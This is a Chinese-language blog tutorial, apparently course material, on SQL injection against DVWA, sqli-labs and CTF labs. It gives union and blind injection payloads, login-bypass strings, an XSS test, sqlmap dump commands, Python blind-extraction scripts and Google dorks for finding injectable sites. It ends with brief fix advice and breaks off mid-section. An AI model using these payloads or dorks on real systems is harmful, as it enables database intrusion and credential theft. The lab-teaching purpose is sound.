深入剖析SQL注入(更新中)

首發(fā)地址:我的個(gè)人博客

前言

本文章產(chǎn)生的緣由是因?yàn)閷I(yè)老師,讓我給本專業(yè)的同學(xué)講一哈SQL注入和XSS入門,也就是本文的入門篇,講完兩節(jié)課后,發(fā)現(xiàn)自己對(duì)于SQL注入的理解也就僅僅局限于入門,于是有了后面章節(jié)的產(chǎn)生。

入門篇

一、課程目標(biāo)

聽完這節(jié)課你能學(xué)到些什么??

  • 知道什么是Sql注入
  • 實(shí)現(xiàn)最基礎(chǔ)的Sql注入
  • 學(xué)會(huì)使用SqlMap工具
  • 了解一些Web安全基本知識(shí)

二、初識(shí)SQL注入

1 什么是SQL

SQL(Structured Query Language) 是用于訪問(wèn)和處理數(shù)據(jù)庫(kù)的標(biāo)準(zhǔn)的計(jì)算機(jī)語(yǔ)言,SQL與數(shù)據(jù)庫(kù)程序協(xié)同工作,比如 SQL Server、MySQL、Oracle、SQLite、MongoDB、PostgreSQL、MS Access、DB2以及其他數(shù)據(jù)庫(kù)系統(tǒng)。

2020年5月

SQL執(zhí)行流程

image

2 什么是SQL注入

SQL注入是指web應(yīng)用程序?qū)?strong>用戶輸入數(shù)據(jù)的合法性沒(méi)有判斷或過(guò)濾不嚴(yán),攻擊者可以在web應(yīng)用程序中事先定義好的查詢語(yǔ)句的結(jié)尾上添加額外的SQL語(yǔ)句,以此來(lái)實(shí)現(xiàn)欺騙數(shù)據(jù)庫(kù)服務(wù)器執(zhí)行非授權(quán)的任意查詢,從而得到相應(yīng)的數(shù)據(jù)信息。

通俗來(lái)說(shuō):OWASP Top10之一,SQL注入是通過(guò)將惡意的SQL語(yǔ)句插入到Web應(yīng)用的輸入?yún)?shù)中,欺騙服務(wù)器執(zhí)行惡意的SQL命令的攻擊。

SQL注入流程

image

3 SQL注入分類

根據(jù)SQL數(shù)據(jù)類型分類

  • 整型注入
  • 字符型注入

根據(jù)注入的語(yǔ)法分類

  • 聯(lián)合查詢注入(Union query SQL injection)
  • 報(bào)錯(cuò)型注入(Error-based SQL injection)
  • 布爾型注入(Boolean-based blind SQL injection)
  • 延時(shí)注入(Time-based blind SQL injection)
  • 多語(yǔ)句查詢注入 (Stacted queries SQL injection)

三、初試SQL注入

1 手工注入常規(guī)思路

1.判斷是否存在注入,注入是字符型還是數(shù)字型
2.猜解 SQL 查詢語(yǔ)句中的字段數(shù)
3.確定顯示的字段順序
4.獲取當(dāng)前數(shù)據(jù)庫(kù)
5.獲取數(shù)據(jù)庫(kù)中的表
6.獲取表中的字段名
7.顯示字段信息

2 實(shí)現(xiàn)完整手工注入

靶機(jī):DVWA

將DVWA的級(jí)別設(shè)置為low,可以看到源碼中是一句簡(jiǎn)單的查詢語(yǔ)句,沒(méi)有進(jìn)行任何過(guò)過(guò)濾

$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';

因此我們完全可以插入自己想要執(zhí)行的sql語(yǔ)句,那么我們開始吧!

輸入我們輸入1,那么執(zhí)行的語(yǔ)句就是

SELECT first_name, last_name FROM users WHERE user_id = '1'

1.判斷注入是字符型還是數(shù)字型

字符型和數(shù)字型最大區(qū)別: 數(shù)字型不需要單引號(hào)來(lái)閉合,而字符串一般需要通過(guò)單引號(hào)來(lái)閉合的

數(shù)字型:select * from table where id =$id

字符型:select * from table where id='$id'

判斷數(shù)字型

1 and 1=1 #永真式   select * from table where id=1 and 1=1
1 and 1=2 #永假式   select * from table where id=1 and 1=2
#if頁(yè)面運(yùn)行錯(cuò)誤,則說(shuō)明此Sql注入為數(shù)字型注入。

判斷字符型

1' and '1'='1  

1' and '1'='2 
#if頁(yè)面運(yùn)行錯(cuò)誤,則說(shuō)明此 Sql 注入為字符型注入。

執(zhí)行上面兩種方式一種就可得出結(jié)論,顯示這個(gè)是字符型注入

2.猜解SQL查詢語(yǔ)句中的字段數(shù)

1' or 1=1 order by 1 #    查詢成功  【order by x 對(duì)第幾列進(jìn)行排序】1'  order by 1 #  id=‘1‘  #’ 注釋
1' or 1=1 order by 2 #    查詢成功
1' or 1=1 order by 3 #    查詢失敗

[圖片上傳失敗...(image-675df1-1589763722101)]
說(shuō)明執(zhí)行的SQL查詢語(yǔ)句中只有兩個(gè)字段,即這里的First name、Surname。

3.確定顯示的字段順序

1' union select 1,2 #    
image

說(shuō)明執(zhí)行的SQL語(yǔ)句為select First name,Surname from xx where ID='id'

理解select 1,2:例如一個(gè)網(wǎng)站的參數(shù)傳遞執(zhí)行的查詢有3個(gè)字段,很可能這些字段不是都顯示在網(wǎng)頁(yè)前端的,假如其中的1或2個(gè)字段的查詢結(jié)果是會(huì)返回到前端的,那么我們就需要知道這3個(gè)字段中哪兩個(gè)結(jié)果會(huì)回顯,這個(gè)過(guò)程相當(dāng)于找到數(shù)據(jù)庫(kù)與前端顯示的通道。如果我們直接輸入查詢字段進(jìn)行查詢,語(yǔ)句會(huì)非常冗長(zhǎng),而且很可能還需要做很多次測(cè)試,這時(shí)候我們利用一個(gè)簡(jiǎn)單的select 1,2,3,根據(jù)顯示在頁(yè)面上的數(shù)字就可以知道哪個(gè)數(shù)字是這個(gè)“通道”,那么我們只需要把這個(gè)數(shù)字改成我們想查詢的內(nèi)容(如id,password),當(dāng)數(shù)據(jù)爆破成功后,就會(huì)在窗口顯示我們想要的結(jié):果。

4.獲取當(dāng)前數(shù)據(jù)庫(kù)

上步知道字段顯示順序,那我們?cè)谧侄?的位置上顯示數(shù)據(jù)庫(kù)試試

1' union select 1,database() #
image

說(shuō)明當(dāng)前的數(shù)據(jù)庫(kù)為dvwa。

5.獲取數(shù)據(jù)庫(kù)中的表

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

1' union select 1,table_name from information_schema.tables where table_schema='dvwa' #

information_schema.tables存儲(chǔ)了數(shù)據(jù)表的元數(shù)據(jù)信息,下面對(duì)常用的字段進(jìn)行介紹:

  • table_schema: 記錄數(shù)據(jù)庫(kù)名;
  • table_name: 記錄數(shù)據(jù)表名
  • engine : 存儲(chǔ)引擎;
  • table_rows: 關(guān)于表的粗略行估計(jì);
  • data_length : 記錄表的大小(單位字節(jié));
  • index_length : 記錄表的索引的大小;
  • row_format: 可以查看數(shù)據(jù)表是否壓縮過(guò);

[圖片上傳失敗...(image-a76ec8-1589763722101)]

說(shuō)明數(shù)據(jù)庫(kù)dvwa中一共有兩個(gè)表,guestbook與users。

6.獲取表中的字段名

1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

[圖片上傳失敗...(image-195c58-1589763722101)]

說(shuō)明users表中有8個(gè)字段,分別是user_id,first_name,last_name,user,password,avatar,last_login,failed_login

7.獲取字段信息

1' union select group_concat(user_id,first_name),group_concat(password) from users #

1' union select group_concat(concat_ws(':',first_name,password)),2 from users #

1' union select first_name,password from users #
image

這樣就得到了users表中所有用戶的user_id,first_name,last_name,password的數(shù)據(jù)。

3 實(shí)戰(zhàn)演練一哈

就以我自己搭建的靶機(jī)為例子??

在主頁(yè)搜索框發(fā)現(xiàn)注入點(diǎn),話不多說(shuō)開始注入

#判斷注入類型 #【數(shù)字型】
1 and 1=1 
1 and 1=2 

#查詢數(shù)據(jù)庫(kù) #【test】
-1 union select 1,2,database()

#獲取數(shù)據(jù)庫(kù)中的表 #【admin、news】
-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='test' 

#獲取表中的字段名 #【 user_id、user_name、user_pass】
-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='admin'

#獲取字段信息 【admin:mysql】
-1 union select 1,group_concat(user_name),group_concat(user_pass) from admin
-1 union select 1,user_name,user_pass from admin 

我們又快速的實(shí)現(xiàn)了一次手工注入,但是你有沒(méi)和我一樣的感覺(jué),太麻煩了,有更方便的方法嗎,emm...

當(dāng)然有啦,使用SqlMap工具可以快速實(shí)現(xiàn)注入??

四、使用SqlMap注入

具體使用方法請(qǐng)問(wèn)我之前寫的文章??sqlmap使用方法

SqlMap初體驗(yàn)

接著使用上面靶機(jī)進(jìn)行測(cè)試

#查詢數(shù)據(jù)庫(kù) #【test】
python sqlmap.py -u http://139.224.112.182:8801/search.php?id=1 --dbs

#獲取數(shù)據(jù)庫(kù)中的表 #【admin、news】
python sqlmap.py -u http://139.224.112.182:8801/search.php?id=1 -D test --tables

#獲取表中的字段名 #【 user_id、user_name、user_pass】
python sqlmap.py -u http://139.224.112.182:8801/search.php?id=1 -D test -T admin --columns

#獲取字段信息 【admin:mysql】
python sqlmap.py -u http://139.224.112.182:8801/search.php?id=1 -D test -T admin -C user_name,user_pass --dump

一道CTF題目

題目:簡(jiǎn)單的sql注入2

地址:http://139.224.112.182:8087/ctf_collect

解析:http://www.itdecent.cn/p/1aeedef99f21

1.查詢當(dāng)前數(shù)據(jù)庫(kù)(空格被過(guò)濾可以使用tamper腳本中space2comment)

python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment --dbs 

image

發(fā)現(xiàn)web1數(shù)據(jù)庫(kù)
2.查詢數(shù)據(jù)庫(kù)中的表

python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment -D web1 --tables

image

發(fā)現(xiàn)flag表
3.查詢flag表中字段名

python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment --columns -T flag -D web1

image

發(fā)現(xiàn)flag字段
4.查詢字段flag信息

python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment --dump -C flag -T flag -D web1

<img src="https://i.loli.net/2020/05/04/TfZAoObdMPiLJIt.png" style="zoom: 80%;" />

五、發(fā)現(xiàn)注入點(diǎn)

1 使用漏洞掃描工具

工具:OWASP ZAP、D盾、Seay

萬(wàn)能密碼:

1' or 1=1 # 用戶名和密碼都可  
' or '1'='1' -- 

1' or '1'='1 密碼才可
image
<script>alert(1);</script>
image

2 通過(guò)Google Hacking 尋找SQL注入

看到這里我們已經(jīng)完成了一次最基礎(chǔ)的GET字符型Sql注入,有人可能會(huì)問(wèn)了,這是自己搭建的靶機(jī),知道是存在sql注入,真實(shí)環(huán)境中如何去發(fā)現(xiàn)Sql注入呢

inurl:php?id=
inurl:.asp?id=
inurl:index.php?id=
inurl:showproduct.asp?id=
site:http://139.224.112.182:8802/ inurl:php?id
site:https://jwt1399.top inurl:.html
......

服務(wù)器報(bào)錯(cuò),并把錯(cuò)誤信息返回到網(wǎng)頁(yè)上面。根據(jù)錯(cuò)誤信息,判斷這里大概率存在注入點(diǎn)。

六、 修復(fù)建議

  1. 過(guò)濾用戶輸入的數(shù)據(jù)。默認(rèn)情況下,應(yīng)當(dāng)認(rèn)為用戶的所有輸入都是不安全的。
  2. 對(duì)于整數(shù),判斷變量是否符合[0-9]的值;其他限定值,也可以進(jìn)行合法性校驗(yàn);
  3. 對(duì)于字符串,對(duì)SQL語(yǔ)句特殊字符進(jìn)行轉(zhuǎn)義(單引號(hào)轉(zhuǎn)成兩個(gè)單引號(hào),雙引號(hào)轉(zhuǎn)成兩個(gè)雙引號(hào))。
  4. 綁定變量,使用預(yù)編譯語(yǔ)句

進(jìn)階篇

SQL注入前你要知道

不要急于進(jìn)行SQL注入,請(qǐng)先看完這部分,很重要!,很重要!,很重要!

1.基本的SQL語(yǔ)句查詢?cè)创a

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
# LIMIT [偏移量],行數(shù)

通常情況下聯(lián)合查詢(union)時(shí)需要將前面的查詢結(jié)果限定為空集,后面的查詢結(jié)果才能顯示出來(lái)。例如id值設(shè)為負(fù)數(shù)或0,因?yàn)閹в?code>LIMIT 0,1則只能顯示一條數(shù)據(jù)

?id=-1 union select 1,2,3
?id=0  union select 1,2,3
?id=-1' union select 1,2,group_concat(username,password) from users

2.MySQL數(shù)據(jù)庫(kù)幾種注釋

注釋符 描述
# 單行注釋 URL編碼 %23,在URL框直接使用中#號(hào)必須用%23來(lái)表示,#在URL框中有特定含義,代表錨點(diǎn)
--空格 單行注釋 ,實(shí)際使用中--空格--+來(lái)表示。因?yàn)樵赨RL框中,瀏覽器在發(fā)送請(qǐng)求的時(shí)候會(huì)把URL末尾的空格舍去,所以用--+代替--空格
/* */ 塊注釋
/*! */ 內(nèi)聯(lián)注釋

3.數(shù)據(jù)庫(kù)相關(guān)--Information_schema庫(kù)

  • information_schema,系統(tǒng)數(shù)據(jù)庫(kù),包含所有數(shù)據(jù)庫(kù)相關(guān)信息。
  • information_schema.schemataschema_name列,字段為所有數(shù)據(jù)庫(kù)名稱。
  • information_schema.tablestable_name列對(duì)應(yīng)數(shù)據(jù)庫(kù)所有表名
  • information_schema.columns中,column_name列對(duì)應(yīng)所有列名

5.連接字符串函數(shù)

concat(),concat_ws()與及group_concat()的用法

  • concat(str1,str2,…)——沒(méi)有分隔符地連接字符串

  • concat_ws(separator,str1,str2,…)——含有分隔符地連接字符串

  • group_concat(str1,str2,…)——連接一個(gè)組的所有字符串,并以逗號(hào)分隔每一條數(shù)據(jù),知道這三個(gè)函數(shù)能一次性查出所有信息就行了。

6.MySQL常用的系統(tǒng)函數(shù)

version()            #MySQL版本
user()               #數(shù)據(jù)庫(kù)用戶名
database()           #數(shù)據(jù)庫(kù)名
@@basedir            #數(shù)據(jù)庫(kù)安裝路徑
@@datadir            #數(shù)據(jù)庫(kù)文件存放路徑
@@version_compile_os #操作系統(tǒng)版本

7.sql注入之你問(wèn)我答

盲注

SQL盲注,與一般注入的區(qū)別在于,一般的注入攻擊者可以直接從頁(yè)面上看到注入語(yǔ)句的執(zhí)行結(jié)果,而盲注時(shí)攻擊者通常是無(wú)法從顯示頁(yè)面上獲取執(zhí)行結(jié)果,甚至連注入語(yǔ)句是否執(zhí)行都無(wú)從得知,因此盲注的難度要比一般注入高。目前網(wǎng)絡(luò)上現(xiàn)存的SQL注入漏洞大多是SQL盲注。

手工盲注思路

手工盲注的過(guò)程,就像你與一個(gè)機(jī)器人聊天,
這個(gè)機(jī)器人知道的很多,但只會(huì)回答“”或者“不是”,
因此你需要詢問(wèn)它這樣的問(wèn)題,例如“數(shù)據(jù)庫(kù)名字的第一個(gè)字母是不是a???
通過(guò)這種機(jī)械的詢問(wèn),最終獲得你想要的數(shù)據(jù)。

手工盲注的步驟

1.判斷是否存在注入,注入是字符型還是數(shù)字型
2.猜解當(dāng)前數(shù)據(jù)庫(kù)名
3.猜解數(shù)據(jù)庫(kù)中的表名
4.猜解表中的字段名
5.猜解數(shù)據(jù)

盲注常用函數(shù)

函數(shù) 描述
left(字符串,截取長(zhǎng)度) 從左邊截取指定長(zhǎng)度的字符串
length(字符串) 獲取字符串的長(zhǎng)度
ascii(字符串) 將指定字符串進(jìn)行ascii編碼
substr(字符串,start,截取長(zhǎng)度) 截取字符串,可以指定起始位置和長(zhǎng)度
mid(字符串,start,截取長(zhǎng)度) 截取字符串,可以指定起始位置和長(zhǎng)度
count() 計(jì)算總數(shù),返回匹配條件的行數(shù)。
sleep(n) 將程序掛起n秒
if(參數(shù)1,參數(shù)2,參數(shù)3) 參數(shù)1為條件,當(dāng)參數(shù)1返回的結(jié)果為true時(shí),執(zhí)行參數(shù)2,否則執(zhí)行參數(shù)3

布爾盲注

布爾注入利用情景

  • 頁(yè)面上沒(méi)有顯示位,并且沒(méi)有輸出SQL語(yǔ)句執(zhí)行錯(cuò)誤信息
  • 只能通過(guò)頁(yè)面返回正常與不正常判斷

實(shí)現(xiàn)完整手工布爾盲注

靶機(jī):sqli-labs第5關(guān)

1 .查看頁(yè)面變化,判斷sql注入類別

?id=1 and 1=1
?id=1 and 1=2
【字符型】

2.猜解數(shù)據(jù)庫(kù)長(zhǎng)度

使用length()判斷數(shù)據(jù)庫(kù)長(zhǎng)度,二分法可提高效率

?id=1' and length(database())>5 --+
?id=1' and length(database())<10 --+
?id=1' and length(database())=8 --+
【length=8】

3.猜當(dāng)前數(shù)據(jù)庫(kù)名

方法1:使用substr函數(shù)
?id=1' and substr(database(),1,1)>'r'--+
?id=1' and substr(database(),1,1)<'t'--+
?id=1' and substr(database(),1,1)='s'--+
?id=1' and substr(database(),2,1)='e'--+
...
?id=1' and substr(database(),8,1)='y'--+
【security】
方法2:使用ascii函數(shù)和substr函數(shù)
?id=1' and ascii(substr(database(),1,1))>114 --+
?id=1' and ascii(substr(database(),1,1))<116 --+
?id=1' and ascii(substr(database(),1,1))=115 --+
【security】
ASCill表
方法3:使用left函數(shù)
?id=1' and left(database(),1)>'r'--+
?id=1' and left(database(),1)<'t'--+
?id=1' and left(database(),1)='s' --+
?id=1' and left(database(),2)='se' --+
?id=1' and left(database(),3)='sec' --+
...
?id=1' and left(database(),8)='security' --+
【security】
方法4:使用Burpsuite的Intruder模塊

將獲取數(shù)據(jù)庫(kù)第一個(gè)字符的請(qǐng)求包攔截并發(fā)送到Intruder模塊

設(shè)置攻擊變量以及攻擊類型

image

設(shè)置第一個(gè)攻擊變量,這個(gè)變量是控制第幾個(gè)字符的

image

設(shè)置第二個(gè)攻擊變量,這個(gè)變量是數(shù)據(jù)庫(kù)名字符

image

開始攻擊,一小會(huì)就能得到測(cè)試結(jié)果,通過(guò)對(duì)長(zhǎng)度和變量進(jìn)行排序可以看到數(shù)據(jù)庫(kù)名成功得到

image

4.判斷表的個(gè)數(shù)

count()函數(shù)是用來(lái)統(tǒng)計(jì)表中記錄的一個(gè)函數(shù),返回匹配條件的行數(shù)。

?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>0 --+
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4 --+
【4個(gè)表】

5.判斷表的長(zhǎng)度

limit可以被用于強(qiáng)制select語(yǔ)句返回指定的條數(shù)。

?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 --+
【第一個(gè)表長(zhǎng)度為6】

?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=8 --+
【第二個(gè)表長(zhǎng)度為8】

6.猜解表名

方法1:使用substr函數(shù)
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>'d' --+
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>'f' --+
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e' --+
...
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),6,1)='s' --+
【第一個(gè)表名為emails】
方法2:使用Burpsuite的Intruder模塊

使用方法跟上方獲得數(shù)據(jù)庫(kù)名一樣,就不贅述了

image
image

7.猜解字段名和字段信息

#確定字段個(gè)數(shù)
?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name = 'users')>0 --+
?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name = 'users')=3 --+
【字段個(gè)數(shù)為3】

#確定字段名的長(zhǎng)度
?id=1' and length((select  column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1))>0 --+
?id=1' and length((select  column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1))=2 --+
?id=1' and length((select  column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 1,1))=8 --+
【第一個(gè)字段長(zhǎng)度為2,第二個(gè)字段長(zhǎng)度為8】

#猜字段名 同上使用burp
?id=1' and substr((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1),1,1)='i'  --+
【...id,username,password...】

#確定字段數(shù)據(jù)長(zhǎng)度
?id=1' and length((select username from users limit 0,1))=4  --+
【第一個(gè)字段數(shù)據(jù)長(zhǎng)度為4】

#猜解字段數(shù)據(jù) 同上使用burp
?id=1' and substr((select username from users limit 0,1),1,1)='d'  --+

?id=1' and ascii(substr((select username from users limit 0,1),1,1))>79  --+
【第一個(gè)username數(shù)據(jù)為dumb】

使用SQLmap實(shí)現(xiàn)布爾盲注

--batch: 用此參數(shù),不需要用戶輸入,將會(huì)使用sqlmap提示的默認(rèn)值一直運(yùn)行下去。
--technique:選擇注入技術(shù),B:Boolean-based-blind  (布爾型盲注)
--threads 10 :設(shè)置線程為10,運(yùn)行速度會(huì)更快
#查詢數(shù)據(jù)庫(kù) #【security】
python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less-5/?id=1 --technique B --dbs --batch --threads 10

#獲取數(shù)據(jù)庫(kù)中的表 #【emails、referers、uagents、users】
python sqlmap.py  -u http://139.224.112.182:8087/sqli1/Less-5/?id=1 --technique B -D security  --tables --batch --threads 10

#獲取表中的字段名 #【id、username、password】
python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less-5/?id=1 --technique B -D security -T users --columns --batch --threads 10

#獲取字段信息 #【Dumb|Dumb、dhakkan|dumbo ...】
python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less-5/?id=1 --technique B -D security -T users -C username,password --dump --batch --threads 10

腳本實(shí)現(xiàn)布爾盲注

1.獲取數(shù)據(jù)庫(kù)名長(zhǎng)度

# coding:utf-8
import requests

# 獲取數(shù)據(jù)庫(kù)名長(zhǎng)度
def database_len():
  for i in range(1, 10):
      url = '''http://139.224.112.182:8087/sqli1/Less-5/'''
      payload = '''?id=1' and length(database())=%d''' %i
      r = requests.get(url + payload + '%23') # %23 <==> --+
      if 'You are in' in r.text:
          print('database_length:', i)
          break
      else:
          print(i)

database_len()
# 【database_length: 8】

2.獲取數(shù)據(jù)庫(kù)名

# coding:utf-8
import requests
#獲取數(shù)據(jù)庫(kù)名
def database_name():
    name = ''
    for j in range(1,9):
        for i in '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_':
            url = "http://139.224.112.182:8087/sqli1/Less-5/"    
            payload = "?id=1' and substr(database(),%d,1)='%s' --+"  %(j, i) 
            r = requests.get(url + payload)
            if 'You are in' in r.text:
                name = name + i
                print(name)
                break
    print('database_name:', name)

database_name()
# 【database_name: security】

3.獲取數(shù)據(jù)庫(kù)中表

# coding:utf-8
import requests
# 獲取數(shù)據(jù)庫(kù)表
def tables_name():
    name = ''
    for j in range(1, 30):
        for i in 'abcdefghijklmnopqrstuvwxyz,':
            url = "http://139.224.112.182:8087/sqli1/Less-5/"    
            payload = '''?id=1' and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)='%s' --+''' % (j, i)
            r = requests.get(url + payload)
            if 'You are in' in r.text:
                name = name + i
                print(name)
                break
    print('table_name:', name)

tables_name()

#【table_name: emails,referers,uagents,users】

4.獲取表中字段

# coding:utf-8
import requests

# 獲取表中字段
def columns_name():
    name = ''
    for j in range(1, 30):
        for i in 'abcdefghijklmnopqrstuvwxyz,':
            url = "http://139.224.112.182:8087/sqli1/Less-5/"    
            payload = "?id=1' and substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),%d,1)='%s' --+" %(j, i)        
            r = requests.get(url + payload)
            if 'You are in' in r.text:
                name = name + i
                print(name)
                break
    print('column_name:', name)

columns_name()
#【column_name: id,username,password】

5.獲取字段值

# coding:utf-8
import requests
# 獲取字段值
def value():
    name = ''
    for j in range(1, 100):
        for i in '0123456789abcdefghijklmnopqrstuvwxyz,_-':
            url = "http://139.224.112.182:8087/sqli1/Less-5/"  
            payload = "?id=1' and substr((select group_concat(username,password) from users),%d,1)='%s' --+" %(j, i)    
            r = requests.get(url + payload)
            if 'You are in' in r.text:
                name = name + i
                print(name)
                break
    print('value:', name)

value()

時(shí)間盲注

時(shí)間注入利用情景

  • 頁(yè)面上沒(méi)有顯示位
  • 沒(méi)有輸出報(bào)錯(cuò)語(yǔ)句
  • 正確的sql語(yǔ)句和錯(cuò)誤的sql語(yǔ)句頁(yè)面返回一致

手工實(shí)現(xiàn)時(shí)間盲注

靶機(jī):sqli-labs第9關(guān)

?id=1 
?id=1'
?id=1"
#不管怎么樣都不報(bào)錯(cuò),不管對(duì)錯(cuò)一直顯示一個(gè)固定的頁(yè)面;

#判斷注入點(diǎn)
?id=1' and sleep(3)--+
#頁(yè)面響應(yīng)延遲,判斷存在時(shí)間延遲型注入

#獲取數(shù)據(jù)庫(kù)名長(zhǎng)度
?id=1' and if(length(database())=8,sleep(3),1)--+

#獲取數(shù)據(jù)庫(kù)名
?id=1' and if(substr(database(),1,1)='s',sleep(3),1)--+

結(jié)合Burpsuite的Intruder模塊爆破數(shù)據(jù)庫(kù)名

將獲取數(shù)據(jù)庫(kù)第一個(gè)字符的請(qǐng)求包攔截并發(fā)送到Intruder模塊

設(shè)置攻擊變量以及攻擊類型

image

設(shè)置第一個(gè)攻擊變量,這個(gè)變量是控制第幾個(gè)字符的

image

設(shè)置第二個(gè)攻擊變量,這個(gè)變量是數(shù)據(jù)庫(kù)名字符

image

開始攻擊,一小會(huì)就能得到測(cè)試結(jié)果,通過(guò)對(duì)長(zhǎng)度和變量進(jìn)行排序可以看到數(shù)據(jù)庫(kù)名成功得到

image-20200515211534056

獲取表名、字段名、字段信息等數(shù)據(jù)方法同上,就不贅述了

使用SQLmap實(shí)現(xiàn)時(shí)間盲注

--batch: 用此參數(shù),不需要用戶輸入,將會(huì)使用sqlmap提示的默認(rèn)值一直運(yùn)行下去。
--technique:選擇注入技術(shù),-T:Time-based blind  (基于時(shí)間延遲注入)
--threads 10 :設(shè)置線程為10,運(yùn)行速度會(huì)更快。
#查詢數(shù)據(jù)庫(kù) #【security】
python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less-9/?id=1 --technique T --dbs --batch --threads 10

#獲取數(shù)據(jù)庫(kù)中的表 #【emails、referers、uagents、users】
python sqlmap.py  -u http://139.224.112.182:8087/sqli1/Less-9/?id=1 --technique T -D security  --tables --batch --threads 10

#獲取表中的字段名 #【id、username、password】
python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less-9/?id=1 --technique T -D security -T users --columns --batch --threads 10 

#獲取字段信息 【Dumb|Dumb、dhakkan|dumbo ...】
python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less-9/?id=1 --technique T -D security -T users -C username,password --dump --batch --threads 10 

腳本實(shí)現(xiàn)時(shí)間盲注

1.獲取數(shù)據(jù)庫(kù)名長(zhǎng)度

# coding:utf-8
import requests
import datetime

# 獲取數(shù)據(jù)庫(kù)名長(zhǎng)度
def database_len():
    for i in range(1, 10):
        url = '''http://139.224.112.182:8087/sqli1/Less-9/'''
        payload = '''?id=1' and if(length(database())=%d,sleep(3),1)--+''' %i
        time1 = datetime.datetime.now()
        r = requests.get(url + payload)
        time2 = datetime.datetime.now()
        sec = (time2 - time1).seconds
        if sec >= 3:
            print('database_len:', i)
            break
        else:
            print(i)
            
database_len()

2.獲取數(shù)據(jù)庫(kù)名

# coding:utf-8
import requests
import datetime

#獲取數(shù)據(jù)庫(kù)名
def database_name():
    name = ''
    for j in range(1, 9):
        for i in '0123456789abcdefghijklmnopqrstuvwxyz_':
            url = '''http://139.224.112.182:8087/sqli1/Less-9/'''
            payload = '''?id=1' and if(substr(database(),%d,1)='%s',sleep(1),1) --+''' % (j,i)
            time1 = datetime.datetime.now()
            r = requests.get(url + payload)
            time2 = datetime.datetime.now()
            sec = (time2 - time1).seconds
            if sec >= 1:
                name = name + i
                print(name)
                break
    print('database_name:', name)

database_name()

獲取表名、字段名、字段信息等數(shù)據(jù)的腳本類似上面布爾盲注腳本,就不贅述了

SQL注入靶場(chǎng)

DVWA

SQL-Injection

Low

image

分析:
由代碼可知,通過(guò)REQUEST方式接受傳遞的參數(shù)id,再通過(guò)sql語(yǔ)句帶入查詢,并未設(shè)置任何過(guò)濾,因此可以進(jìn)行sql注入利用。
常見注入測(cè)試的POC:
image

1.判斷是否存在注入,注入是字符型還是數(shù)字型

當(dāng)輸入的參數(shù)為字符串時(shí),稱為字符型。字符型和數(shù)字型最大的一個(gè)區(qū)別在于,數(shù)字型不需要單引號(hào)來(lái)閉合,而字符串一般需要通過(guò)單引號(hào)來(lái)閉合的。

輸入1,查詢成功

image

輸入1'and '1' ='2,查詢失敗,返回結(jié)果為空:

image

輸入1' or '1'='1 頁(yè)面正常,并返回更多信息,成功查詢

image

判斷存在的是字符型注入。

2.猜解SQL查詢語(yǔ)句中的字段數(shù)

1' or 1=1 order by 1 # 
查詢成功
image
1' or 1=1 order by 2 # 
查詢成功 #是注釋作用
image
1' or 1=1 order by 3 # 
查詢失敗

image

說(shuō)明執(zhí)行的SQL查詢語(yǔ)句中只有兩個(gè)字段,即這里的First name、Surname。

3.確定顯示的字段順序

輸入1' union select 1,2 # 查詢成功: #是注釋作用

image

說(shuō)明執(zhí)行的SQL語(yǔ)句為select First name,Surname from 表 where ID=’id’…

4.獲取當(dāng)前數(shù)據(jù)庫(kù)
輸入1' union select 1,database() # 查詢成功:#是注釋作用

image

說(shuō)明當(dāng)前的數(shù)據(jù)庫(kù)為dvwa。

5.獲取數(shù)據(jù)庫(kù)中的表

輸入1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # 查詢成功: #是注釋作用

image

說(shuō)明數(shù)據(jù)庫(kù)dvwa中一共有兩個(gè)表,guestbook與users。

6.獲取表中的字段名

輸入1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' # 查詢成功: #是注釋作用

image

說(shuō)明users表中有8個(gè)字段,分別是user_id,first_name,last_name,user,password,avatar,last_login,failed_login。

7.下載數(shù)據(jù)

輸入1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,查詢成功: #是注釋作用

image

這樣就得到了users表中所有用戶的user_id,first_name,last_name,password的數(shù)據(jù)。

Medium

分析:
Medium級(jí)別的代碼利用mysql_real_escape_string函數(shù)對(duì)特殊符號(hào)\x00,\n,\r,,’,”,\x1a進(jìn)行轉(zhuǎn)義,同時(shí)前端頁(yè)面設(shè)置了下拉選擇表單,希望以此來(lái)控制用戶的輸入。

image

漏洞利用
